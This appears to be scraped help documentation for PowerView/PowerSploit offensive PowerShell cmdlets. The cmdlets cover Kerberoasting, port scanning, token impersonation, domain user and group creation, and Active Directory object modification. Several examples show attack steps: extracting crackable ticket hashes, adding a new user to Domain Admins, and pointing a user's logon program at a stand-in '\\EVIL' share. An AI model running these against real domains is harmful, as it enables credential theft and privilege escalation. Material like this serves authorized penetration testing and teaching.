ComputerName            ProxyServer            AutoConfigURL         Wpad
————            ———–            ————-         —-
windows1.testlab.local  primary.testlab.local

## PARAMETERS

### -ComputerName
Specifies the system to enumerate proxy settings on.
Defaults to the local host.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: $Env:COMPUTERNAME
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### String

Accepts one or more computer name specification strings  on the pipeline (netbios or FQDN).

## OUTPUTS

### PowerView.ProxySettings

Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Invoke-Kerberoast

## SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.

Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket

## SYNTAX

```
Invoke-Kerberoast [[-Identity] <String[]>] [-Domain <String>] [-LDAPFilter <String>] [-SearchBase <String>]


[-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-OutputFormat <String>] [-Credential <PSCredential>]




```

## DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-Kerberoast | fl
`

### ————————– EXAMPLE 2 ————————–
`
Invoke-Kerberoast -Domain dev.testlab.local | fl
`

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLBdfm.a’, $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose | fl

## PARAMETERS

### -Identity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -OutputFormat
Either ‘John’ for John the Ripper style hash formatting, or ‘Hashcat’ for Hashcat format.
Defaults to ‘John’.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Format

Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.SPNTicket

Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Invoke-Portscan

## SYNOPSIS
Simple portscan module

PowerSploit Function: Invoke-Portscan
Author: Rich Lundeen (http://webstersProdigy.net)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

### cmdHosts
```
Invoke-Portscan -Hosts <String[]> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>]


[-TopPorts <String>] [-ExcludedPorts <String>] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>]
[-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] [-T <Int32>]
[-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter]
[-quiet] [-ForceOverwrite]




```

### fHosts
```
Invoke-Portscan -HostFile <String> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>]


[-TopPorts <String>] [-ExcludedPorts <String>] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>]
[-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] [-T <Int32>]
[-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter]
[-quiet] [-ForceOverwrite]




```

## DESCRIPTION
Does a simple port scan using regular sockets, based (pretty) loosely on nmap

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
`


Description

Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com

### ————————– EXAMPLE 2 ————————–
`
echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
`



Description

Does a portscan of “webstersprodigy.net”, and writes a greppable output file

### ————————– EXAMPLE 3 ————————–
`
Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
`



Description

Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats

## PARAMETERS

### -Hosts
Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in

```yaml
Type: String[]
Parameter Sets: cmdHosts
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -HostFile
Input hosts from file rather than commandline

```yaml
Type: String
Parameter Sets: fHosts
Aliases: iL

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExcludeHosts
Exclude these comma seperated hosts

```yaml
Type: String
Parameter Sets: (All)
Aliases: exclude

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Ports
Include these comma seperated ports (can also be a range like 80-90)

```yaml
Type: String
Parameter Sets: (All)
Aliases: p

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -PortFile
Input ports from a file

```yaml
Type: String
Parameter Sets: (All)
Aliases: iP

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -TopPorts
Include the x top ports - only goes to 1000, default is top 50

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExcludedPorts
Exclude these comma seperated ports

```yaml
Type: String
Parameter Sets: (All)
Aliases: xPorts

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SkipDiscovery
Treat all hosts as online, skip host discovery

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: Pn

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -PingOnly
Ping scan only (disable port scan)

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: sn

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -DiscoveryPorts
Comma separated ports used for host discovery.
-1 is a ping

```yaml
Type: String
Parameter Sets: (All)
Aliases: PS

Required: False
Position: Named
Default value: -1,445,80,443
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
number of max threads for the thread pool (per host)

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 100
Accept pipeline input: False
Accept wildcard characters: False
```

### -nHosts
number of hosts to concurrently scan

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 25
Accept pipeline input: False
Accept wildcard characters: False
```

### -Timeout
Timeout time on a connection in miliseconds before port is declared filtered

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 2000
Accept pipeline input: False
Accept wildcard characters: False
```

### -SleepTimer
Wait before thread checking, in miliseconds

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 500
Accept pipeline input: False
Accept wildcard characters: False
```

### -SyncFreq
How often (in terms of hosts) to sync threads and flush output

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 1024
Accept pipeline input: False
Accept wildcard characters: False
```

### -T
[0-5] shortcut performance options.
Default is 3.
higher is more aggressive.
Sets (nhosts, threads,timeout)


5 {$nHosts=30;  $Threads = 1000; $Timeout = 750  }
4 {$nHosts=25;  $Threads = 1000; $Timeout = 1200 }
3 {$nHosts=20;  $Threads = 100;  $Timeout = 2500 }
2 {$nHosts=15;  $Threads = 32;   $Timeout = 3000 }
1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }




```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -GrepOut
Greppable output file

```yaml
Type: String
Parameter Sets: (All)
Aliases: oG

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -XmlOut
output XML file

```yaml
Type: String
Parameter Sets: (All)
Aliases: oX

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ReadableOut
output file in ‘readable’ format

```yaml
Type: String
Parameter Sets: (All)
Aliases: oN

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -AllformatsOut
output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats

```yaml
Type: String
Parameter Sets: (All)
Aliases: oA

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -noProgressMeter
Suppresses the progress meter

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -quiet
supresses returned output and don’t store hosts in memory - useful for very large scans

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: q

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ForceOverwrite
Force Overwrite if output Files exist.
Otherwise it throws exception

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: F

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://webstersprodigy.net](http://webstersprodigy.net)




            

          

      

      

    

  

    
      
          
            
  # Invoke-ReverseDnsLookup

## SYNOPSIS
Perform a reverse DNS lookup scan on a range of IP addresses.

PowerSploit Function: Invoke-ReverseDnsLookup
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Invoke-ReverseDnsLookup [-IpRange] <String>
`

## DESCRIPTION
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records.
This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-ReverseDnsLookup 74.125.228.0/29
`

IP              HostName
–              ——–
74.125.228.1    iad23s05-in-f1.1e100.net
74.125.228.2    iad23s05-in-f2.1e100.net
74.125.228.3    iad23s05-in-f3.1e100.net
74.125.228.4    iad23s05-in-f4.1e100.net
74.125.228.5    iad23s05-in-f5.1e100.net
74.125.228.6    iad23s05-in-f6.1e100.net


Description

Returns the hostnames of the IP addresses specified by the CIDR range.

### ————————– EXAMPLE 2 ————————–
`
Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
`

IP              HostName
–              ——–
74.125.228.1    iad23s05-in-f1.1e100.net
74.125.228.4    iad23s05-in-f4.1e100.net
74.125.228.5    iad23s05-in-f5.1e100.net
74.125.228.6    iad23s05-in-f6.1e100.net



Description

Returns the hostnames of the IP addresses specified by the IP range specified.

### ————————– EXAMPLE 3 ————————–
`
Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup
`

IP                                                          HostName
–                                                          ——–
74.125.228.1                                                iad23s05-in-f1.1e100.net
74.125.228.1                                                iad23s05-in-f1.1e100.net
74.125.228.2                                                iad23s05-in-f2.1e100.net
74.125.228.3                                                iad23s05-in-f3.1e100.net
74.125.228.4                                                iad23s05-in-f4.1e100.net
74.125.228.5                                                iad23s05-in-f5.1e100.net
74.125.228.6                                                iad23s05-in-f6.1e100.net



Description

Returns the hostnames of the IP addresses piped from another source.

## PARAMETERS

### -IpRange
Specifies the IP address range.
The range provided can be in the form of a single IP address, a low-high range, or a CIDR range.
Comma-delimited ranges may can be provided.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://www.exploit-monday.com
https://github.com/mattifestation/PowerSploit]()




            

          

      

      

    

  

    
      
          
            
  # Invoke-RevertToSelf

## SYNOPSIS
Reverts any token impersonation.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

`
Invoke-RevertToSelf [[-TokenHandle] <IntPtr>]
`

## DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token

## PARAMETERS

### -TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.

```yaml
Type: IntPtr
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Invoke-UserImpersonation

## SYNOPSIS
Creates a new “runas /netonly” type logon and impersonates the token.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

### Credential (Default)
`
Invoke-UserImpersonation -Credential <PSCredential> [-Quiet]
`

### TokenHandle
`
Invoke-UserImpersonation -TokenHandle <IntPtr> [-Quiet]
`

## DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate “runas /netonly”.
The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Invoke-UserImpersonation -Credential $Cred

## PARAMETERS

### -Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.

```yaml
Type: PSCredential
Parameter Sets: Credential
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.

```yaml
Type: IntPtr
Parameter Sets: TokenHandle
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Quiet
Suppress any warnings about STA vs MTA.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### IntPtr

The TokenHandle result from LogonUser.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # New-DomainGroup

## SYNOPSIS
Creates a new domain group (assuming appropriate permissions) and returns the group object.

TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext

## SYNTAX

```
New-DomainGroup [-SamAccountName] <String> [[-Name] <String>] [[-DisplayName] <String>]


[[-Description] <String>] [[-Domain] <String>] [[-Credential] <PSCredential>]




```

## DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.GroupPrincipal with the specified
group properties.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.'
`

Creates the ‘TestGroup’ group with the specified description.

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
New-DomainGroup -SamAccountName TestGroup -Description ‘This is a test group.’ -Credential $Cred

Creates the ‘TestGroup’ group with the specified description using the specified alternate credentials.

## PARAMETERS

### -SamAccountName
Specifies the Security Account Manager (SAM) account name of the group to create.
Maximum of 256 characters.
Mandatory.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Name
Specifies the name of the group to create.
If not provided, defaults to SamAccountName.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -DisplayName
Specifies the display name of the group to create.
If not provided, defaults to SamAccountName.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Description
Specifies the description of the group to create.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 6
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### DirectoryServices.AccountManagement.GroupPrincipal

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # New-DomainUser

## SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.

TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext

## SYNTAX

```
New-DomainUser [-SamAccountName] <String> [-AccountPassword] <SecureString> [[-Name] <String>]


[[-DisplayName] <String>] [[-Description] <String>] [[-Domain] <String>] [[-Credential] <PSCredential>]




```

## DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

New-DomainUser -SamAccountName harmj0y2 -Description ‘This is harmj0y’ -AccountPassword $UserPassword

Creates the ‘harmj0y2’ user with the specified description and password.

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
$UserPassword = ConvertTo-SecureString ‘Password123!’ -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description ‘This is harmj0y’ -AccountPassword $UserPassword -Credential $Cred

Creates the ‘harmj0y2’ user with the specified description and password, using the specified
alternate credentials.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
$UserPassword = ConvertTo-SecureString ‘Password123!’ -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember ‘Domain Admins’ -Credential $Cred

Creates the ‘andy’ user with the specified description and password, using the specified
alternate credentials, and adds the user to ‘domain admins’ using Add-DomainGroupMember
and the alternate credentials.

## PARAMETERS

### -SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters.
Mandatory.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -AccountPassword
Specifies the password for the created user.
Mandatory.

```yaml
Type: SecureString
Parameter Sets: (All)
Aliases: Password

Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Name
Specifies the name of the user to create.
If not provided, defaults to SamAccountName.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -DisplayName
Specifies the display name of the user to create.
If not provided, defaults to SamAccountName.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Description
Specifies the description of the user to create.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 6
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 7
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### DirectoryServices.AccountManagement.UserPrincipal

## NOTES

## RELATED LINKS

[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/)



            

          

      

      

    

  

    
      
          
            
  # Remove-RemoteConnection

## SYNOPSIS
Destroys a connection created by New-RemoteConnection.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

### ComputerName (Default)
`
Remove-RemoteConnection [-ComputerName] <String[]>
`

### Path
`
Remove-RemoteConnection [-Path] <String[]>
`

## DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection.
If a -Path isn’t specified, a -ComputerName is required to
‘unmount’ \\$ComputerNameIPC$.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
`

### ————————– EXAMPLE 2 ————————–
`
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
`

### ————————– EXAMPLE 3 ————————–
`
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
`

## PARAMETERS

### -ComputerName
Specifies the system to remove a \\ComputerNameIPC$ connection for.

```yaml
Type: String[]
Parameter Sets: ComputerName
Aliases: HostName, dnshostname, name

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Path
Specifies the remote \\UNCpath to remove the connection for.

```yaml
Type: String[]
Parameter Sets: Path
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Resolve-IPAddress

## SYNOPSIS
Resolves a given hostename to its associated IPv4 address.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Resolve-IPAddress [[-ComputerName] <String[]>]
`

## DESCRIPTION
Resolves a given hostename to its associated IPv4 address using
[Net.Dns]::GetHostEntry().
If no hostname is provided, the default
is the IP address of the localhost.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Resolve-IPAddress -ComputerName SERVER
`

### ————————– EXAMPLE 2 ————————–
`
@("SERVER1", "SERVER2") | Resolve-IPAddress
`

## PARAMETERS

### -ComputerName
{{Fill ComputerName Description}}

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: $Env:COMPUTERNAME
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

## INPUTS

### String

Accepts one or more IP address strings on the pipeline.

## OUTPUTS

### System.Management.Automation.PSCustomObject

A custom PSObject with the ComputerName and IPAddress.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Set-DomainObject

## SYNOPSIS
Modifies a gven property for a specified active directory object.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject

## SYNTAX

```
Set-DomainObject [[-Identity] <String[]>] [-Set <Hashtable>] [-XOR <Hashtable>] [-Clear <String[]>]


[-Domain <String>] [-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object.
Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
`

VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVILprogram.exe for object testuser

### ————————– EXAMPLE 2 ————————–
`
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
`

VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVILprogram2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVILprogram2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser

### ————————– EXAMPLE 3 ————————–
`
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
`

Cleares the ‘department’ field for both object identities.

### ————————– EXAMPLE 4 ————————–
`
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
`

Name                           Value
—-                           —–
NORMAL_ACCOUNT                 512

Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose

VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing ‘useraccountcontrol’ with ‘65536’ for object ‘testuser’

Get-DomainUser testuser | ConvertFrom-UACValue -Verbose

Name                           Value
—-                           —–
NORMAL_ACCOUNT                 512
DONT_EXPIRE_PASSWORD           65536

### ————————– EXAMPLE 5 ————————–
`
